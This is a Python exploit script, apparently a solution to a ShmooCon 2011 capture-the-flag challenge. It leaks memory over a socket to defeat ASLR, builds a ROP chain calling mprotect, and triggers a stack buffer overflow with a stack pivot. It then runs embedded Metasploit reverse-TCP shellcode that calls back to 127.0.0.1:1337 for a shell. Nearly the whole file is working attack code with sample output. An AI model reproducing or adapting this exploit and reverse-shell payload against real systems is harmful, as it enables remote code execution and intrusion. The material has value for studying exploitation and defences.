#!/usr/bin/env python
# Solution for shmoocon barcode/ghost in the shellcode 2011, challenge #3
# Based on awesie/tylerni7 solution http://ppp.cylab.cmu.edu/wordpress/?p=410
# Automatically finds addresses => ASLR proof!
from sys import argv, exit
from struct import pack, unpack
from socket import *

# ./3.py [host (default localhost)] [port (default 2426)]
host = argv[1] if len(argv)>1 else "localhost"
port = int(argv[2]) if len(argv)>2 else 2426

# pivot gadget - leave (mov esp,ebp ; pop ebp) ; ret
pivot_leave = 0x8048c56

# offset of mprotect@PLT in libmozjs
mprotect_plt_offset = 0xEEF0
# ebx value to call mprotect through GOT/PLT of shared library
# obtained these values from libmozjs.so:.text:001359A2  add ebx, 1848Ah
libmozjs_ebx = 0x1359A2 + 0x1848A

# some addresses of functions found locally in the memory leak
mask = 0x00000FFF
addr1 = 0xb7ecc7a0
addr2 = 0xb7fc7640
addr3 = 0xb7ec9560
# with the following base address for libmozjs
ba = 0xb7e78000

def connect():
	s = socket(AF_INET, SOCK_STREAM)
	s.connect((host,port))
	return s

def leak_js(length=0x100, string="AAAA", timout=1):
	s = connect()
	s.settimeout(timout)
	s.send("a=new Socket();a.send('%s',%i);a.recv(0);" % (string, length))
	r = ''
	try:
		while len(r)<length:
			r += s.recv(length)
	except timeout, e:
		pass
	s.close()
	return r

def build_js(p, sendsize, recvsize):
	js  = "a=new Socket();"
	js += "s='%s';" % ("".join("\\x%02x"%ord(c) for c in p))
	js += "a.send(s,%i);" % sendsize
	js += "a.recv(%i);" % recvsize
	return (js+"//").ljust(1024,"X")

def get_heap_addr(send, leak=64):
	# 00000000  41 42 42 42 00 14 e8 b7  77 00 20 00 19 00 00 00  |ABBB....w. .....|
	# 00000010  00 00 00 00 60 e4 00 01  00 23 07 08 c8 3d 07 08  |....`....#...=..|
	#                                    heap1       heap2, points to buffer=ABBB
	# obtain heap1/heap2 addresses with simple buffer
	mem = leak_js(0x20, "ABBB")
	heap1 = unpack("<I", mem[-8:-4])[0]
	heap2 = unpack("<I", mem[-4:])[0]
	if mem[0:4]=="ABBB" and (heap1>>16)==(heap2>>16):
		higher_bytes = pack("<H", heap1>>16)
		# for some length, heap doesn't display heap1/heap2 addresses
		# so try to pad our payload until it displays it and we find it
		for i in range(32):
			s = connect()
			s.send(build_js("A"+"B"*(send-1), send+leak, 0))
			mem = s.recv(send+leak)
			s.close()
			# try to find heap1/heap2 by matching higher bytes found previously
			h = mem.find(higher_bytes, send)
			heap1 = unpack("<I", mem[h-2:h+2])[0]
			heap2 = unpack("<I", mem[h+2:h+6])[0]
			if (heap1>>16)==(heap2>>16):
				return heap2, i
			send += 1
	print 'unable to find heap address of buffer'
	exit(1)

def get_libmozjs_ba():
	mem = leak_js(0x5000)
	guess1, guess2, guess3 = 0,0,0
	for i in range(0,len(mem),4):
		a = unpack("<I", mem[i:i+4])[0]
		# try to match addresses we found locally and for
		# which we calculated offset to library base address
		if (a & mask)==(addr1 & mask):
			guess1 = a - (addr1 - ba)
		elif (a & mask)==(addr2 & mask):
			guess2 = a - (addr2 - ba)
		elif (a & mask)==(addr3 & mask):
			guess3 = a - (addr3 - ba)
		if guess1>0 and guess2>0 and guess3>0 and guess1==guess2==guess3:
			return guess1
	print 'unable to get libmozjs base address'
	exit(1)

def exploit(SC):
	# rop payload (in heap)
	rop  = "MPRO"
	rop += "RETN" # where to return after call
	rop += "HEAP" # const void *addr
	rop += pack("<I", 0x1000) # size_t len
	rop += pack("<I", 0x7) # int prot
	
	libmozjs_ba = get_libmozjs_ba()
	print "Assuming libmozjs base address at 0x%08x" % libmozjs_ba
	
	leak = 64
	heap, pad = get_heap_addr(len(rop+SC), leak)
	print "Assuming heap buffer at 0x%08x with %i padding" % (heap, pad)
	rop += "A"*pad
	
	# mprotect@plt offset
	mprotect = libmozjs_ba + mprotect_plt_offset
	# fix ebx for call
	ebx = libmozjs_ba + libmozjs_ebx
	
	# adjust heap and return addresses
	rop = rop.replace("MPRO", pack("<I",mprotect))
	rop = rop.replace("HEAP", pack("<I",heap))
	rop = rop.replace("RETN", pack("<I",heap+len(rop)))
	
	# stack-based buffer overflow
	p  = "A"*1052
	p += pack("<I",ebx) # ebx
	p += pack("<I",heap-4) # sebp, address of new stack
	p += pack("<I",pivot_leave) # seip, pivot (leave; ret)
	
	s = connect()
	s.send(build_js(rop+SC, len(rop+SC)+leak, len(p)))
	s.send(p)
	s.close()
	print "Done. Have shell?"

# Shellcode to use
# msfpayload linux/x86/shell_reverse_tcp LHOST="127.0.0.1" LPORT="1337" R |hexdump -ve '"\\\x" 1/1 "%02x"'; echo;
SC = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\x7f\x00\x00\x01\x66\x68\x05\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

exploit(SC)

# $ ./3.py
# Assuming libmozjs base address at 0xb7673000
# Assuming heap buffer at 0x08ccfe30 with 0 padding
# Done. Have shell?
